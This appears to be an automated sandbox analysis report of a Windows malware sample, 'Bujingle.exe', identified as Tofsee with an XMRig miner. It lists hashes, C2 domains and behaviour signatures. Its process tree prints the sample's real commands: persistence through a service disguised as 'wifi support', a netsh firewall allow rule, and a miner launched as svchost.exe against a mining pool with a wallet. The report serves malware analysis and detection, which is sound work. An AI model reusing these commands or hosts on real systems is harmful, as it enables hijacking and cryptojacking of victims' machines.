Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2023, 01:43

General

  • Target

    Bujingle.exe

  • Size

    11.0MB

  • MD5

    1dded9eb42fa834637268fa6586a21c6

  • SHA1

    2024b5fe1c250b92a6feb26db404b795b6054f75

  • SHA256

    adc925a19dee5176ab2c8ee03519bc850ed45546508d63e0b166665c09aee712

  • SHA512

    8b0dfc03e136f934cffcd8d510e8c4066b994868220c18a0a3944051e07716105bf4fd604799f9936fd45e2f9b07ee52545d52d6207400fc40f409ad89aeb648

  • SSDEEP

    24576:LxukWDgRMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM:LxukN

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Bujingle.exe
    "C:\Users\Admin\AppData\Local\Temp\Bujingle.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uvdquszn\
      2⤵
        PID:1960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iccuxhlx.exe" C:\Windows\SysWOW64\uvdquszn\
        2⤵
          PID:2364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uvdquszn binPath= "C:\Windows\SysWOW64\uvdquszn\iccuxhlx.exe /d\"C:\Users\Admin\AppData\Local\Temp\Bujingle.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uvdquszn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uvdquszn
          2⤵
          • Launches sc.exe
          PID:2708
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2824
      • C:\Windows\SysWOW64\uvdquszn\iccuxhlx.exe
        C:\Windows\SysWOW64\uvdquszn\iccuxhlx.exe /d"C:\Users\Admin\AppData\Local\Temp\Bujingle.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2268
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2168

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\iccuxhlx.exe

              Filesize

              11.8MB

              MD5

              f6bec6053a0c1b7b9c243df994d19d55

              SHA1

              4f036a2e6b5bbbf504037e192eb10506ca648d40

              SHA256

              f528ceef0a0662026cb18ede5785c9cfd6b18394891807b304e5c9c4dbaadbe2

              SHA512

              cc150f1783b36a5f9e86f5dd82a160f24f39990dddf54ed45ed9840095d5290048716aa6fbcea257ec74e902db8553feeabd57e4ec3c17582efafab52cb69312

            • C:\Windows\SysWOW64\uvdquszn\iccuxhlx.exe

              Filesize

              11.8MB

              MD5

              f6bec6053a0c1b7b9c243df994d19d55

              SHA1

              4f036a2e6b5bbbf504037e192eb10506ca648d40

              SHA256

              f528ceef0a0662026cb18ede5785c9cfd6b18394891807b304e5c9c4dbaadbe2

              SHA512

              cc150f1783b36a5f9e86f5dd82a160f24f39990dddf54ed45ed9840095d5290048716aa6fbcea257ec74e902db8553feeabd57e4ec3c17582efafab52cb69312

            • memory/2104-1-0x0000000002420000-0x0000000002520000-memory.dmp

              Filesize

              1024KB

            • memory/2104-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2104-4-0x0000000000400000-0x0000000002282000-memory.dmp

              Filesize

              30.5MB

            • memory/2104-7-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2104-6-0x0000000000400000-0x0000000002282000-memory.dmp

              Filesize

              30.5MB

            • memory/2168-78-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2168-77-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2168-76-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2168-75-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2168-74-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2168-73-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2168-72-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2168-64-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2168-63-0x0000000000220000-0x0000000000311000-memory.dmp

              Filesize

              964KB

            • memory/2268-38-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-47-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-28-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2268-31-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-34-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-36-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-35-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-37-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-24-0x00000000018A0000-0x0000000001AAF000-memory.dmp

              Filesize

              2.1MB

            • memory/2268-39-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-40-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-41-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-42-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-43-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-45-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-44-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-46-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-27-0x00000000018A0000-0x0000000001AAF000-memory.dmp

              Filesize

              2.1MB

            • memory/2268-48-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-49-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-50-0x00000000000B0000-0x00000000000C0000-memory.dmp

              Filesize

              64KB

            • memory/2268-51-0x00000000000D0000-0x00000000000D5000-memory.dmp

              Filesize

              20KB

            • memory/2268-54-0x00000000000D0000-0x00000000000D5000-memory.dmp

              Filesize

              20KB

            • memory/2268-55-0x0000000005370000-0x000000000577B000-memory.dmp

              Filesize

              4.0MB

            • memory/2268-58-0x0000000005370000-0x000000000577B000-memory.dmp

              Filesize

              4.0MB

            • memory/2268-59-0x0000000000410000-0x0000000000417000-memory.dmp

              Filesize

              28KB

            • memory/2268-23-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2268-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2268-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2268-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2268-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2268-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2684-10-0x0000000002440000-0x0000000002540000-memory.dmp

              Filesize

              1024KB

            • memory/2684-11-0x0000000000400000-0x0000000002282000-memory.dmp

              Filesize

              30.5MB

            • memory/2684-16-0x0000000000400000-0x0000000002282000-memory.dmp

              Filesize

              30.5MB